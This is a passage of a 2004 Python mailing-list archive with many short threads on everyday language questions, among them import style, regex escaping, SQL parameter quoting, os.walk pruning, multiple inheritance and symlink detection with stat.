> brilliant godlike creatures though they must be, to understand
> Python exception tracebacks and modify the source to fix the
> problems?  Or are there some extra levels of translation involved
> here, or is the guy running this going to be the second Python
> programmers in space? :-)

No, the astronaut shouldn't have to know anything about Python.  I
just want to be able to display a message saying something like

     The Session Manager died terribly and then when it tried to log
     the problem to the log file, the operating said that it couldn't
     with the following error message:

        Windows Sucks!

     Please pass on this error message to ground control.

|>oug


From tjreedy at udel.edu  Sat Feb 28 15:03:09 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 28 Feb 2004 15:03:09 -0500
Subject: What is the status of the __subclasses__ method?
References: <403f5959$0$41759$5fc3050@dreader2.news.tiscali.nl><m3hdxc8smn.fsf@pc150.maths.bris.ac.uk><404071cf$0$41754$5fc3050@dreader2.news.tiscali.nl>
	<m3y8qn73oo.fsf@pc150.maths.bris.ac.uk>
Message-ID: <c1qs5s$95c$1@sea.gmane.org>


"Michael Hudson" <mwh at python.net> wrote in message
news:m3y8qn73oo.fsf at pc150.maths.bris.ac.uk...
> I'm not sure this attitude really applies to Python.  There's no real
> definition of what "officially part of the language" means.

I think 'in the Python Reference Manual' qualifies pretty well as defining
the language.  The Python Library Reference fleshes out the current PSF
CPython distribution. Any discrepancies between these and the (C)Python
implementation are considered bugs to be fixed.  Guido has (as I remember)
occasionally omitted (and rejected patches about) items that he wants to
remain unofficial implementation details subject to possible change.

Someone using an undocumented implementation details like __subclasses__()
might especially want to test code against beta releases as they come out
to either protest a change or start adjusting.  But the OP can relex
somewhat since code-breaking changes are not made intentionally without
some clear benefit otherwise.

Terry J. Reedy






From newsgroups at jhrothjr.com  Thu Feb 19 16:39:23 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Thu, 19 Feb 2004 16:39:23 -0500
Subject: Why import only at module level?
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
Message-ID: <103abc7k6e1o542@news.supernews.com>


"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
news:7xoervxwxt.fsf at ruckus.brouhaha.com...
> That's what the Python style guides advise.  They don't seem to like
>
>    def frob(x):
>       import re
>       if re.search('sdf[234]xyz', x): ...
>
> instead preferring that you pollute your module's global namespace
> with the names of all your imports.  What's the point of that?  It
> gets worse when you want to do something like
>
>    def dispatch(obj):
>       from types import *
>       if type(obj) == ListType: obj_list(obj)
>       elif type(obj) == FunctionType: obj_fcn(obj)
>       ...
>
> here you actually get a syntax warning that "from ... import *" is not
> ALLOWED except at the module level.  So the pollution is really
> serious in that case, you're spewing all the names from the imported
> module into your own module.  And I know that "import *" is considered
> uncool these days, but sometimes you really do want to just grab all
> those symbols, and the whole point of wanting the import inside the
> function is to contain the big import to a limited scope where they
> won't conflict with your own symbols.
>
> So what's the reason for the syntax warning, and for the convention of
> putting the imports at the top of the module?

The reason to put imports at the top of the module
is that, in general, imported modules are global resources. That's
also why it's not an issue to insert them in the module level
namespace.

Also, there are certain very common program tasks, such
as creating a subclass, where the superclass has to be
available at module load time. If it's in another module, that
module has to be imported before defining the class.

That said, if a module isn't a global resource then there's
no particular reason to put the symbol in the module
symbol table. I use __import__ in my version of FIT
to import fixtures into a dictionary, for example. I prefer
that technique to attempting to exec a constructed
import statement precisely because I don't have any
control over the names of the imported modules.

>From foobar import * is a specialized case that
should be used only when you know what the module
is going to import. If you don't want the scatter shot
loading, then just import foobar, and reference foobar.whatever
whenever you need a symbol. No one is holding an
assault weapon to your head to make you use import *
after all.

If you're a control freak (or your program analysis tools
barf on import *), you can always put assignments
for the symbols you're going to use after the imports.
That makes it explicit.

John Roth





From a.schmolck at gmx.net  Fri Feb 13 21:30:54 2004
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 14 Feb 2004 02:30:54 +0000
Subject: re.sub replacement text \-escapes woe
References: <yfsznbmh7sn.fsf@black132.ex.ac.uk>
	<c0jpmb$kv1$03$1@news.t-online.com>
	<c0jqda$o90$05$1@news.t-online.com>
Message-ID: <yfsu11ugzoh.fsf@black132.ex.ac.uk>

Peter Otten <__peter__ at web.de> writes:

> Peter Otten wrote:
> 
> > Alexander Schmolck wrote:
> > 
> >> Sorry if I missed something obvious, but how do you do this more
> >> intelligently?
> >> 
> >> def escape(s):
> >>     return re.sub(r'([${}\\])', r'\ \1', s).replace('\\ ', '\\')
> >> 
> >> 'as
> > 
> > Interesting. No direct attack, but another workaround:
> > 
> > re.sub(r'([${}\\])', lambda m: '\\' + m.group(), s)
> 
> re.sub(r'([${}\\])', r'\\\1', s)
> 
> Either that or I'm slash-blind tonight...

D'oh -- slash-blindness is what happened to me (presumably because I was
unconsciously expecting a raw string when I tested the above in the
interactive console before I posted and thus incorrectly dismissed the
result).

Thanks

'as


From paul at fxtech.com  Fri Feb 20 10:22:54 2004
From: paul at fxtech.com (Paul Miller)
Date: Fri, 20 Feb 2004 09:22:54 -0600
Subject: Py_Finalize
In-Reply-To: <02a401c3f7c3$914e0a40$2601a8c0@hq.novamens.com>
References: <028201c3f7b8$5e312cb0$2601a8c0@hq.novamens.com>
	<4036135D.6080003@ghaering.de>
	<02a401c3f7c3$914e0a40$2601a8c0@hq.novamens.com>
Message-ID: <6.0.1.1.2.20040220092216.04f84b80@mail.fxtech.com>


>I do that and the memory always increase.
>If I comment the module loads the memory stay stable, but if I load the
>modules the memory increases and never return to the previous level.

How are you running your scripts? If using PyImport, try Py_DECREF the 
returned module objects before you call Py_Finalize.






From eltronic at juno.com  Sun Feb  8 03:37:36 2004
From: eltronic at juno.com (eltronic at juno.com)
Date: Sun, 8 Feb 2004 03:37:36 -0500
Subject: how to pass scripts to python -c
Message-ID: <20040208.034206.-355375.0.eltronic@juno.com>


On 7 Feb 2004 22:21:42 -0800 danl_kramer at yahoo.com (Daniel Kramer)
writes:
> what are the formatting rules to passing python commands to the 
> python
> command line?  I've tried the following, which works:
> 
> echo hello | python  -c "import sys; print sys.stdin.read()[:4]"
> 
> I'm actually trying to shell out of another scripting lang that's 
> not
> very good at string parsing to have python do some work.. the only
> problem is this other lang doesn't like the ";" in my python command
> string and fails.  Is there another notation I can use on a single
> line to tell python that there is a line break?
import os
os.system('python  -c "import sys\x3b print sys.path"')


e
please forward all spam  to "me"<u%63e at f%74c.go%76>

________________________________________________________________
The best thing to hit the Internet in years - Juno SpeedBand!
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Only $14.95/ month - visit www.juno.com to sign up today!



From me at privacy.net  Fri Feb 27 07:40:44 2004
From: me at privacy.net (Duncan Booth)
Date: 27 Feb 2004 12:40:44 GMT
Subject: escaping % in a string???
References: <P5C%b.2944$506.2797@fed1read05> <c1ms95$mm3$1@ork.noris.net>
Message-ID: <Xns949C6163BC5F4duncanrcpcouk@127.0.0.1>

Wolfram Kraus <kraus at hagen-partner.de> wrote in 
news:c1ms95$mm3$1 at ork.noris.net:

> Amy G wrote:
>> I am trying to execute the following MySQL query:
>> 
>> c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE
>> '%%s%'""" %(userid, phrase))
> 
> Use %%
> c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE 
> '%%%s%%'""" %(userid, phrase))

You might also consider:

c.execute("""DELETE FROM pending WHERE userid=%s AND subject LIKE %s""", 
  (userid, '%'+phrase+'%'))

This has the advantage that it should properly handle any odd characters 
appearing in the parameters (especially important if the parameter text 
could have come from a malicious user).


From edreamleo at charter.net  Wed Feb 18 06:16:18 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 18 Feb 2004 05:16:18 -0600
Subject: 2.3 encoding parsing bug
References: <10349ardb7psua3@corp.supernews.com> <40328B45.4030400@v.loewis.de>
	<10357pvh422kt64@corp.supernews.com> <4033130D.8030000@v.loewis.de>
Message-ID: <1036ic88394e31f@corp.supernews.com>

> OTOH, LEO _should_ not have come up with its own syntax to specify an
> encoding. Instead, LEO should have used established conventions, such
> as
>
>    -*- coding: <codingname> -*-

Leo came up with its own syntax because the $@+leo line is doing something
very different from most -*- coding lines.  Furthermore, Leo's file format
predated Python 2.3. It should have been reasonable to assume that a line
that starts with #@+leo would not ever be interpreted in any way by Python.

http://www.python.org/doc/2.3/whatsnew/section-encodings.html
completely misstates the truth and is actively misleading.  Sure, pep 263 is
strictly accurate, but I probably never looked at 263 before today.

Pep 263 does not discuss the issue that bites Leo: the more general the re
the more likely there is to be unintended consequences.  True, one doesn't
want to limit the matches that one _does_ want with encoding lines produced
by other editors.  So it's not clear exactly what re to choose.

For me, this discussion is moot.  The damage has been done, Leo's file
formats must change, and Leo 4.1 will not ever work as smoothly with Python
2.3 as I would like.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From bldrake at adaptcs.com  Tue Feb 10 01:38:35 2004
From: bldrake at adaptcs.com (Barry Drake)
Date: 9 Feb 2004 22:38:35 -0800
Subject: winapi: mouseclick
References: <mailman.855.1075213039.12720.python-list@python.org>
	<JlDRb.20248$mf4.855974@news20.bellglobal.com>
	<FzDRb.20396$mf4.859494@news20.bellglobal.com>
	<377cfc08.0402091324.323f9074@posting.google.com>
Message-ID: <377cfc08.0402092238.e624346@posting.google.com>

Barry Drake) wrote in message news:<377cfc08.0402091324.323f9074 at posting.google.com>...
> KNS <netquest at sympatico.ca> wrote in message news:<FzDRb.20396$mf4.859494 at news20.bellglobal.com>...
> > It's looking like I must use pyHooks...Thanks.
> 
> I would like to use pyHooks also.  I've downloaded and installed using
> the .exe installer and grabbed the CVS tree.  But, there is no pyHooks
> module???  The first line of the pyHooksManager.py file is
> 
> from pyHook import *
> 
> and in the example.py
> 
> from pyHookManager import *
> 
> Without a pyHook module these both fail.  Anyone know what I need to
> do to make this work?  I've also tried to install the CVS version, but
> it requires MS VC++ 6.0, which I don't have.
> 
> Thanks.
> Barry Drake

Found the problem:
1. created the site-packages/pyHook directory myself
2. moved the _pyHook.pyd, pHookManager.py, and example.py (CVS
version) into the pyHook directory.
3. created an empty __init__.py file.
4. ran the example from UltraEdit, which opens a wx frame.  If the
show dos box option is set, the program output is shown there.  Every
key and mouse press is displayed!

Cool.
Thank you to the developer.


From seberino at spawar.navy.mil  Thu Feb 12 17:08:11 2004
From: seberino at spawar.navy.mil (Christian Seberino)
Date: 12 Feb 2004 14:08:11 -0800
Subject: c extension works in Linux but not Windows==>?? ImportError:
	dynamic module does not define init function (initpeak_load)
References: <bf23f78f.0402111018.32b8dd6d@posting.google.com>
	<c0dtr8$d4h$06$1@news.t-online.com>
Message-ID: <bf23f78f.0402121408.2f0155c9@posting.google.com>

Thanks a lot.  

CS


"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c0dtr8$d4h$06$1 at news.t-online.com>...
> Christian Seberino wrote:
> 
> > What is wrong with my DLL making skills that causes this problem??
> 
> You did not export the symbol. The easiest way to achieve this is to
> use PyMODINIT_FUNC.
> 
> To improve your DLL making skills, learn about exported symbols,
> import libraries, GetProcAddress, __declspec, and .def files.
> 
> Regards,
> Martin


From mcfletch at rogers.com  Fri Feb 27 17:10:46 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 27 Feb 2004 17:10:46 -0500
Subject: Reading data from file: x(i),y(i) form
In-Reply-To: <00c301c3fd83$756a26e0$559ea380@D4XN6B41>
References: <00c301c3fd83$756a26e0$559ea380@D4XN6B41>
Message-ID: <403FC066.7070303@rogers.com>

Satish Chimakurthi wrote:

> Hi all,
>  
> I have data of the following form in a file called "fluid_grid.dat"
>  
>   1.00000000000000        0.00000000000000D+000
>   0.959753969508636       0.280842158538236

...

> ifile4=open('fluid_grid.dat','r')
> lines=ifile4.readlines( )
> x=[ ]
> y=[ ]
> i=1
> for line in lines:
>         x[i],y[i]=map(float,line.replace('D','E').split( ))
>         i=i+1
>         if i==7:
>            break
>  
> I get the following error:
>  
> x[i],y[i]=map(float,line.replace('D','E').split( ))
> Index Error: list index out of range

You've most likely got a trailing \n\n at the end of the file (or even 
in the middle), so you get a NULL line.  Simply do something like this:

import traceback
...
  

for line in ifile4:
    line = line.strip().replace( 'D', 'E' )
    if line:
	values = line.split()
	if len(values) == 2:
	    x.append( values[0] )
	    y.append( values[1] )
	else:
	    print 'BAD LINE', repr(line)
  

and you should be able to see what the offending line looks like.

HTH,
Mike
_______________________________________

  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From jepler at unpythonic.net  Fri Feb 27 16:04:49 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Fri, 27 Feb 2004 15:04:49 -0600
Subject: os.walk walks too much
In-Reply-To: <403F9FA8.9050209@attglobal.net>
References: <mailman.96.1077712778.8594.python-list@python.org>
	<c1i8a1$gnj$01$1@news.t-online.com>
	<mailman.131.1077737502.8594.python-list@python.org>
	<c1j2pp$9r0$06$1@news.t-online.com> <slrnc3qn6c.156.grey@dmiyu.org>
	<403F9FA8.9050209@attglobal.net>
Message-ID: <20040227210448.GA5241@unpythonic.net>

On Fri, Feb 27, 2004 at 02:51:04PM -0500, Marcello Pietrobon wrote:
> dirs[:] creates a copy of dirs

This creates a new list which contains the same items as the list named
by dirs

> dirs[:] = [] - empty the original list

This changes the items in the list named by dirs.  It replaces (mutates)
the range named on the left-hand of = with the items on the right-hand.

> and
> dirs = [] - empty a copy of the original list

This makes dirs name a different list than it did before, but the value
of the list that dirs named a moment ago is unchanged.

In the case of os.walk (or anywhere you do something by mutating an item
passed in) you have to change the items in a particular list ("mutate
the list") , not change the list a particular local name refers to.

Jeff



From frank at pc-nett.no  Tue Feb  3 07:36:01 2004
From: frank at pc-nett.no (frank)
Date: Tue, 3 Feb 2004 13:36:01 +0100
Subject: Soprano 0.05c released!
Message-ID: <bvo4ji$u90dd$1@ID-200515.news.uni-berlin.de>

Soprano 0.05c released!
there was a problem with the ping timeout, fixed now.
everything should work fine.
I was away for the weekend so i did not fix it before now sorry about that.

Download and read more at:
http://sourceforge.net/projects/soprano/ 




From newsgroups at jhrothjr.com  Tue Feb  3 06:49:08 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 3 Feb 2004 06:49:08 -0500
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<bvl0m8$tb3$1@lust.ihug.co.nz>
Message-ID: <101v2o3f3modl04@news.supernews.com>

"Gary Stephenson" <garys at ihug.com.au> wrote in message
news:bvl0m8$tb3$1 at lust.ihug.co.nz...
>
> Fwiw, I am both a human, and a customer of my bank.  My computer is both
an
> "electrical_device" and a "depreciable-asset".  It is completely natural
in
> the real world for objects to have multiple "is-a" relationships with
> various other objects.   Why then, should we not use multiple inheritance
> when modelling such relationships?

Because it doesn't work in practice? I'm serious here. One of the
things we would like to do is eliminate the disconnect between
modeling and implementation, and the naive views of inheritance
relations that are common in elementary textbooks frequently
have very serious problems when you actually try to do anything
with them.

If I wanted to model something that had multiple diverse
roles, I'd pick some mechanism other than inheritance, and
expect the actual implementation to have a number of objects
that handle the diverse roles of "electrical-device", "depreciable-asset,"
and "personal-property," with the appropriate linkage so that
they all refer to the same conceptual object.

> One major reason why multiple inheritance has such a bad name can be
sheeted
> back to the brain-dead way in which C++ implements it.

Implementation has nothing to do with it.

> The other main
> reason is that inheritance itself, single or multiple, implementation or
> interface, is _way_ overrated as a code structuring technique.  This is
> probably due to it not even being consistently defined - it seems to mean
> different things to different people at different times (depending on
which
> language they're currently working with).

And if you want transparency in your implementation as well
as a domain model you can actually use, you have to live within
the limitations of your technology. That means that inheritance
is implementation inheritance, and any other definition is simply
academic pie-in-the-sky arm waving. If you want to do something
other than implementation inheritance, you find some way of
modeling it which will map cleanly into the technology.

> IMHO, inheritance only works robustly in the face of change if you can
> guarantee that the potential instances of your (sub)classes form a strict
> proper subset (mathematically speaking) of the potential instances of
their
> ancestor classes.  afaik, which is not terribly far really
> ;-) , there is no OO language on earth that can _guarantee_ this subclass
==
> subset relationship for you - you have to arrange it yourself (somehow).

And that's one of the conceptual pitfalls. A mathematician would
look at the behavior of a subclass as having ***less*** functionality
than the superclass, while in practice subclasses usually have either
*different* functionality or *more* functionality.

So we're back at the naive definition does not match the
implementation reality.

> Other folk have also suggested that in order to properly achieve the
above,
> you need to follow the rule: "only abstract classes can be subclassed".
> That is, if you want to create class B as a subclass of class A, and A is
> not already an abstract class, you should create a third class A', which
> _is_ an abstract class, and have both class A and class B inherit from
that.
> For a far better explanation of this and many other related issues I refer
> the interested reader to:
>
>      http://okmij.org/ftp/Computation/Subtyping/Trouble.html
>
> my $A0.0148,

That's just confusing the issue. The Law is that any subclass
should be usable when the user expects a superclass. I believe
that's called the Liskov Substitution Principle, and it's the only
thing you need to remember.

The moment you try to mix two classes that have the same
name for two different concepts, you're dead.

John Roth
>
> gary
>




From fBechmann at web.de  Sun Feb  8 22:58:49 2004
From: fBechmann at web.de (fBechmann)
Date: Sun, 08 Feb 2004 19:58:49 -0800
Subject: Had Phyton suggested
In-Reply-To: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
Message-ID: <c060sc$auc$01$1@news.t-online.com>

Getting a compiler environment running should be a minor task compared 
with the complexity of programming in a modern 3D gaming engine, so that 
should not be your biggest fear. And if you choose a 3D gaming engine 
with a decent community there are tutorials how to get everything running.

I would start by thinking about what you/your son want to do:
1) starting 3D game development from scratch, e.g. based on OpenGL
2) using an existing 3D gaming engine and code your own stuff
3) using a complete gaming engine (like quake or UT) and doing some 
mod(ification) development
4) joining the development team of a complete open source 3D game.

Then - for your selection - start seaching the net - if you did not 
choose option 1) the result will quite probably answer your question, 
because each existing "environment" brings its language/compiler with 
it. Too make it more complicated some "environments" provide a 
two-leveled architecture, where the "core" is mostly written in C or C++ 
and the "frame" is written e.g. in python, lua or some other "small" 
language (but too my knowledge 3D games usually have - if at all - 
propriatary languages for this like QuakeC, "normal" languages are more 
typical for RPG); in this case you might choose your favorite 
"environment" with respect to your favorite "frame" language.

Googling should bring you some interesting results, next to this good 
places to start are:
-	http://gaming.foundries.sourceforge.net/	(general gaming)
-	http://3d.foundries.sourceforge.net/		(3D gaming)
-	http://www.planetquake.com/code3arena/		(quake 3 coding)


From db3l at fitlinxx.com  Tue Feb 17 20:17:34 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 17 Feb 2004 20:17:34 -0500
Subject: 2.3 encoding parsing bug
References: <10349ardb7psua3@corp.supernews.com>
Message-ID: <uy8r16v9t.fsf@fitlinxx.com>

"Edward K. Ream" <edreamleo at charter.net> writes:

> The workaround for my app is to precede this line with the following line:
> 
> # -*- coding: iso-8859-1 -*-
> 
> This makes Python 2.3 happy.

Presumably it would also work if you just included a pair of blank
lines (or perhaps to make it harder to accidentally remove, blank
comment lines), since Python is only going to check the first two
lines of the file.

It's still annoying, but at least you aren't then forced to bother
replicating a Python-matching line that actually contains encoding
information. 

-- David


From rogerb at rogerbinns.com  Sun Feb 29 15:16:15 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Sun, 29 Feb 2004 12:16:15 -0800
Subject: Licensing of wrappers around C/C++ code under more restrictive
	licensing.
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>
	<du7ishrmqsv.fsf@amadeus.cc.tut.fi>
	<dc6f5c99.0402281637.71f8a571@posting.google.com>
Message-ID: <9tt9h1-h1d.ln1@home.rogerbinns.com>

> The next version of OSE will try to address this issue by allowing use of
> the Python wrappers under a BSD or Python style license, provided that
> the C++ layer underneath is left as is. Change the C++ layer underneath
> and the QPL will apply up through the Python code as well.

I can tell you that I immediately ruled out OSE for my open source project
http://bitpim.sf.net licensed under the Artistic License because of the
license of OSE.

Roger




From jcarlson at nospam.uci.edu  Sun Feb 22 14:16:03 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 22 Feb 2004 11:16:03 -0800
Subject: online cookbook recipes
In-Reply-To: <c1ahek$cth$1@nemesis.news.tpi.pl>
References: <c1ahek$cth$1@nemesis.news.tpi.pl>
Message-ID: <c1avaf$rt4$1@news.service.uci.edu>

Dear Python Cookbook Contributor,

Thank you very much for taking part in the Python Cookbook, and 
submitting your recipe.

All of the scripts that are contributed to the Python Cookbook are and 
will be available for free download from ActiveState's site. O'Reilly & 
Associates, Inc. will publish a selection of the scripts from the site 
in a book. ActiveState and O'Reilly will make the scripts and 
explanations available under the same license that governs Python use.

By submitting a script, you are agreeing to the following terms:

    1. You own the copyright to your own script and description. This 
means that you can make whatever additional use of that script and 
description that you choose.
    2. All submitted material will be made freely available on the 
ActiveState site under the Python license.
    3. Every contributor whose script is selected for the O'Reilly book 
will receive a free copy of the book and will be acknowledged by name in 
the book.
    4. A portion of the author royalties from the sale of the book will 
benefit the Python Software Foundation.
    5. While you own the copyright to your own material, O'Reilly & 
Associates, Inc. will obtain the copyright to the compilation, that is, 
to the book as a book. O'Reilly has the right to print, publish, 
distribute, and sell copies of the book, and works derived from the 
book, in printed form and in electronic media, to translate it, and to 
license others to do so, for the duration of the copyright in the book, 
in all languages, throughout the world.
    6. O'Reilly may edit, add to, and delete material from the book in 
order to ensure technical and editorial quality control.

Thank you again for taking part in this exciting collaborative Python 
project. If you have any concerns about this please contact 
pythoncookbook at activestate.com.

***************

According to #2, they are all available under the Python license, which 
can be read about in various places.

  - Josiah


From bblochl at fh-lausitz.de  Wed Feb 25 13:46:53 2004
From: bblochl at fh-lausitz.de (bblochl)
Date: Wed, 25 Feb 2004 19:46:53 +0100
Subject: No Thoughts about Everything
Message-ID: <403CED9D.7060909@fh-lausitz.de>

On Wed, 25 Feb 2004 <ajsiegel at optonline.com> wrote 

>.......
>The fact that production programming
>concerns are introduced  at that stage of the game is, I think, where
>many who would otherwise have an intellectual intererst in programming
>fall of the wagon. 
>............

Obviously you assume I try to torture people with that task of "production programming" as you name it. That is absoluteley not my stile. Exactly prevention was the reason I was looking for a solution in the meagre and precise form of the word "final" in python as well to hand it as a tool to the people. So to my regret I recognize now that in python there is a comparable self explaining solution as in JAVA not avalaible and I have to split off that in many (even simple) applications very helpful and as a programming concept interesting feature. 

But I hope you will not be convinced that explaining the meaning and applying the five letters of the JAVA-modifier "final" is too much for a one year JAVA course for university scientists? Even after PISA - that is not only an italien city - I can not belief that! 

Would you say that after that year in addition to the usual contents a production programmers level is reached?

And another question is the definition of "beginner". (Is a person with some expierience in Word, Excel and Powerpoint a programming-beginner or an programming-expert?) I feel myself as a beginner, as I have no deep python experiance, but a lot with other languages in different fields. So I am sorry I have to ask so silly questions, like the "final" one. But I have to check the borders of the possibilities. 

I hope for the world and for the sake of future of industrialized nations that I am not wrong!

Bernhard

PS: I hope that purification makes me free from the subliminal reproach to be a torturer. And I hope that my bad english will not spoil my message. 





From kkto at csis.hku.hk  Thu Feb 12 20:46:17 2004
From: kkto at csis.hku.hk (Isaac To)
Date: Fri, 13 Feb 2004 09:46:17 +0800
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<402B85BE.A73089C5@engcorp.com>
	<a4926c68a73edefaf2ba0a9b5ceded48@news.teranews.com>
Message-ID: <7id68jhhue.fsf@enark.csis.hku.hk>

>>>>> "Dang" == Dang Griffith <noemail at noemail4u.com> writes:

    Dang> I'm from a C background, and never made this particular mistake.

At least in GCC, the compiler will emit a warning when you do that (provided
that you use -Wall), telling you that you've generated a value without using
it.  This isn't possible in Python (or did I miss something?), so you never
know how many such subtle problem lies in your program, especially because
forgetting to close a file "normally" won't cause any visible problem (that
is, until you modify the same file somewhere elso and when the program
exits, half of your modifications are gone).

Regards,
Isaac.


From p at trick.lu  Sun Feb 15 11:48:56 2004
From: p at trick.lu (Patrick Useldinger)
Date: Sun, 15 Feb 2004 17:48:56 +0100
Subject: Webware / localhost vs. real IP address
Message-ID: <m88v2095n13d9v234ska33t29ob9of5hiu@4ax.com>

Hi all,

I'm not sure whether this is Webware or Python-related, but I have to
start somewhere.

I have a small Webware server running on port 8086, with Webware's http
server listening to port 8080 (all standard). The IP address of my
machine is 192.168.1.2, and it's running WinXP. 

If I point my Opera to 127.0.0.1:8080, all works well. If I do the same
with 192.168.1.2:8080, which should be the same, it says 'could not
connect to remote server'.

A short Python http client will work with the first address, and says
the follwing when pointed to the second:
Traceback (most recent call last):
  File
"C:\Programs\Python23\lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
line 310, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\prj\dynip\myselfhttp.py", line 11, in ?
    router.request('GET','/')
  File "C:\Programs\Python23\Lib\httplib.py", line 718, in request
    self._send_request(method, url, body, headers)
  File "C:\Programs\Python23\Lib\httplib.py", line 739, in _send_request
    self.endheaders()
  File "C:\Programs\Python23\Lib\httplib.py", line 712, in endheaders
    self._send_output()
  File "C:\Programs\Python23\Lib\httplib.py", line 597, in _send_output
    self.send(msg)
  File "C:\Programs\Python23\Lib\httplib.py", line 564, in send
    self.connect()
  File "C:\Programs\Python23\Lib\httplib.py", line 548, in connect
    raise socket.error, msg
error: (10061, 'Connection refused')

The local firewall has been disabled.

The routes seem to be OK as well:
C:\Documents and Settings\pu>route print
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x2 ...00 80 ad 0b 16 22 ...... CNet PRO200 PCI Fast Ethernet Adapter -
Packet Scheduler Miniport
===========================================================================
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface
Metric
          0.0.0.0          0.0.0.0      192.168.1.1     192.168.1.2
30
        127.0.0.0        255.0.0.0        127.0.0.1       127.0.0.1
1
      192.168.1.0    255.255.255.0      192.168.1.2     192.168.1.2
30
      192.168.1.2  255.255.255.255        127.0.0.1       127.0.0.1
30
    192.168.1.255  255.255.255.255      192.168.1.2     192.168.1.2
30
        224.0.0.0        240.0.0.0      192.168.1.2     192.168.1.2
30
  255.255.255.255  255.255.255.255      192.168.1.2     192.168.1.2
1
Default Gateway:       192.168.1.1
===========================================================================
Persistent Routes:
  None

Any clues?

Regards,
-PU
--
http://www.homepages.lu/pu/


From paulo.pinto at cern.ch  Mon Feb  9 11:10:31 2004
From: paulo.pinto at cern.ch (Paulo Pinto)
Date: Mon, 09 Feb 2004 17:10:31 +0100
Subject: stat doesn't work!
Message-ID: <c08bdn$fq6$1@sunnews.cern.ch>

I am doing an application that needs to
know when it is manipulating symbolic links.

But it is failing to reckognize them.

If I run the following code:

<code>
import sys
import os
from stat import *

mode = os.stat(sys.argv[1])[ST_MODE]
if S_ISLNK(mode):
         print 'File is a link'
else:
         print 'Just a normal file'
</code>


I will alway get the 'Just a normal file'
message even though I am using a symbolic
link as argument.

I've done the same example in Perl and in
bash and it works.

Could this be a bug in my Python version
(2.2.2) or I am doing something wrong ?

Thanks in advance,
Paulo Pinto



From fumanchu at amor.org  Sat Feb 28 01:25:55 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 27 Feb 2004 22:25:55 -0800
Subject: Doc bug? customize getslice, setslice
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561E07@opus.amorhq.net>

I was writing a subclass of dict today, and read the 2.3.3 docs
regarding __getslice__, __setslice__, and __delslice__. The getslice
discussion says it's deprecated since 2.0. Setslice and delslice don't
have that disclaimer. However, the rest of the page seems to imply that
they are also deprecated. In particular, the example code at the bottom
of the page skips defining slice methods if the version is 2.0 or over.

http://www.python.org/doc/current/ref/sequence-methods.html

class MyClass:
    ...
    def __getitem__(self, index):
        ...
    def __setitem__(self, index, value):
        ...
    def __delitem__(self, index):
        ...

    if sys.version_info < (2, 0):
        # They won't be defined if version is at least 2.0 final

        def __getslice__(self, i, j):
            return self[max(0, i):max(0, j):]
        def __setslice__(self, i, j, seq):
            self[max(0, i):max(0, j):] = seq
        def __delslice__(self, i, j):
            del self[max(0, i):max(0, j):]
    ...


Can someone confirm my theory that setslice and delslice are also
deprecated? Whether they are or not, I think that should be made more
clear, both in the discussion and the example code.

Should I file a doc bug?


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From eelgueta at navix.cl  Sat Feb 28 07:43:43 2004
From: eelgueta at navix.cl (Eduardo Elgueta)
Date: 28 Feb 2004 04:43:43 -0800
Subject: I just don't get it
References: <3b3f63ed.0402271516.55d3781e@posting.google.com>
	<dulv30p01nu6gmhc2r8q0jdnqdv2dnsdcd@4ax.com>
	<mcnv30h8h6ltc9370gf7all5mj58j4mjf0@4ax.com>
Message-ID: <3b3f63ed.0402280443.1dcd656b@posting.google.com>

Stephen and everyone else,

Thank you very much for your answers. I'm not new to Python, but I
still have a long way to go

Ed.

Stephen Horne <steve at ninereeds.fsnet.co.uk> wrote in message news:<mcnv30h8h6ltc9370gf7all5mj58j4mjf0 at 4ax.com>...
> On Sat, 28 Feb 2004 00:14:29 +0000, Stephen Horne
> <steve at ninereeds.fsnet.co.uk> wrote:
> 
> >If Python started trying to guess your intentions, and assumed that
> >you really meant to compare the values, a whole load of quite basic
> >things wouldn't work.
> 
> Just thought I'd chuck in a different example of what could happen if
> Python started second guessing intentions.
> 
>   (1,) == 1 .......... the numbers are both 1, after all
> 
>   (1,) == () ......... maybe you're just checking they're both
>                        tuples, after all?
> 
> But then for both those to be true, you also get...
> 
>   1 == () ............ because 1 == (1,) == ()
>   2 == () ............ because 2 == (2,) == () by the same logic
> 
>   1 == 2 ............. because 1 == () == 2
> 
> 
> In short, you either have to live with inconsistencies in ordering
> relationships that break standard algorithms and lead to all kinds of
> unexpected problems in any program over about 100 lines of code, or
> you have the ultimate egalitarian society of objects where every
> object is equal to every other object, irrespective of value or
> anything else.
> 
> Neither seems attractive to me.


From http  Tue Feb 17 17:32:02 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 14:32:02 -0800
Subject: PEP218: Representing the empty set
